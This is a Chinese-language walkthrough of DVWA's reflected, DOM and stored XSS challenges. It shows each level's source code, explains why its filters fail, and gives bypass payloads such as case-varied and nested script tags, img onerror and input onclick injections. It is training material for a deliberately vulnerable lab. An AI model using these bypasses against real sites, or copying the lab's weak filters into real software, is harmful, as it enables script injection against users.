1. 程式人生 > 實用技巧 >DVWA(xss部分原始碼分析)

DVWA(xss部分原始碼分析)

前言

DVWA靶場都不陌生,最新學習xss,從新又搞了一遍xss部分,從原始碼方面康康xss的原因,參考了很多大佬的部落格表示感謝,網上也有很多DVWA靶場教程,就水一篇吧。

更多web安全知識歡迎訪問:https://lmg66.github.io/-------->防止爬蟲

環境配置

官網:http://www.dvwa.co.uk/

下載地址:https://github.com/ethicalhack3r/DVWA

下載方式:zip下載或git https://github.com/ethicalhack3r/DVWA

下載完成放入http服務下即可

我使用的是phpstudy下載地址:https://m.xp.cn/

反射性xss

級別low

檢視原始碼:
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
} ?>
分析

name變數沒有過濾,直接輸出

payload

/vulnerabilities/xss_r/?name=<script>alert('xss')<%2Fscript>#

級別:Medium

檢視原始碼
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
} ?>
分析

這裡用正則表達過濾標籤,正則的匹配有缺陷大小問題,而且只是匹配了一次可以巢狀,而且只是過濾還可以用其他標籤代替來觸發反射性xss

payload
vulnerabilities/xss_r/?name=<Script>alert('xss')<%2FScript>#
vulnerabilities/xss_r/?name=<img+src%3Dx+onerror%3Dalert('XSS')>#
/vulnerabilities/xss_r/?name=<s<script>cript>alert('XSS')<%2Fscript>#





級別:high

檢視原始碼
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
} ?>
分析

不區分大小寫,而且萬用字元匹配,巢狀無法使用,可以嘗試其他標籤觸發彈窗

payload

/vulnerabilities/xss_r/?name=<img+src%3D"xss"+onerror%3Dalert('xss')>#

級別:impossible

檢視原始碼:
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
} // Generate Anti-CSRF token
generateSessionToken(); ?>
分析

name變數通過htmlspecialchars()函式把預定的字元轉為HTML實體,且輸入到

標籤裡,所以佔時



DOM型xss

級別:low

檢視原始碼:
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>
分析

lang變數通過document.location.href來獲取url,並沒有過濾就輸入到了option標籤中



payload

級別:Medium

檢視原始碼:
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default']; # Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
} ?>
分析

對default變數進行了過濾,通過stripos()函式查詢在default中的位置(不區分大小寫),如果匹配到,則變為default=English,但是可以使用其他標籤來繞過,先要閉合和標籤



payload:
/vulnerabilities/xss_d/?default=English </option></select><img src=x onerror=alert('XSS')>
/vulnerabilities/xss_d/?default=English<input onclick=alert('XSS') />



級別:high

檢視原始碼:
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
} ?>
分析

使用白名單,進行匹配,如果值不為就default=English,但是隻是對default進行了過濾,可以使用其他變數,document.location.href來獲取url,仍然會輸出到標籤中顯示,當然也可以用註釋符號#

payload:
/vulnerabilities/xss_d/?default=English&a=</option></select><img src=x onerror=alert('XSS')>
/vulnerabilities/xss_d/?default=English&a=?default=English&a=<input onclick=alert('XSS') />
/vulnerabilities/xss_d/?default=English#<input onclick=alert('XSS') />
/vulnerabilities/xss_d/?default=English#</option></select><script>alert('xss')</script>)







級別:impossible

檢視原始碼:
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}
分析:

如果是impossible難度則decodeURI="",意思就是不解碼,那麼標籤就會被過濾,無法閉合標籤和建立新標籤,所以無法xss

儲存型xss

級別:low

檢視原始碼:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>
分析:trim()函式 stripslashes() 函式 mysqli_real_escape_string() 函式只是對/型別的處理過濾轉碼,主要是對資料庫的保護並未設計的xss的內容,故可以直接xss





payload
name:Lmg66
message:<script>alert('xss')</script>

級別:medium

檢視原始碼:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>
分析:

對name用str_replace()是區分大小寫的,可以大寫繞過,只是匹配了一次可以巢狀繞過,也可以使用其他的標籤

對message,addslashes()函式在預定字元加/,strip_tags()函式剝去字串中HTML,XML,以及php標籤,htmlspecialchars()函式預定的函式轉換為HTML實體,基本都過濾和轉義了,所以突破name變數,name變數限制了輸出長度,要F12更改name的maxlength







payload:
name:<Script>alert('xss')</script>
message:Lmg66
name:<s<script>cript>alert('xss')</script>
message:Lmg66
name:<img src='xss' onerror=alert('xss')>
message:Lmg66

級別:high

檢視原始碼:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>
分析:

對message和上一個一樣,沒希望突破,對name來說preg_replace( '/<(.)s(.)c(.)r(.)i(.)p(.)t/i', '', $name )之前反射型xss見過,不區分大小寫,萬用字元過濾,可以使用其他標籤,name同樣限制了長度,F12改一下maxlength="100"

payload:
name:<img src='xss' onerror=alert('xss')>
message:Lmg66

級別:impossible

檢視原始碼:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name ); // Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
} // Generate Anti-CSRF token
generateSessionToken(); ?>
分析:

對name和message都進行了嚴格過濾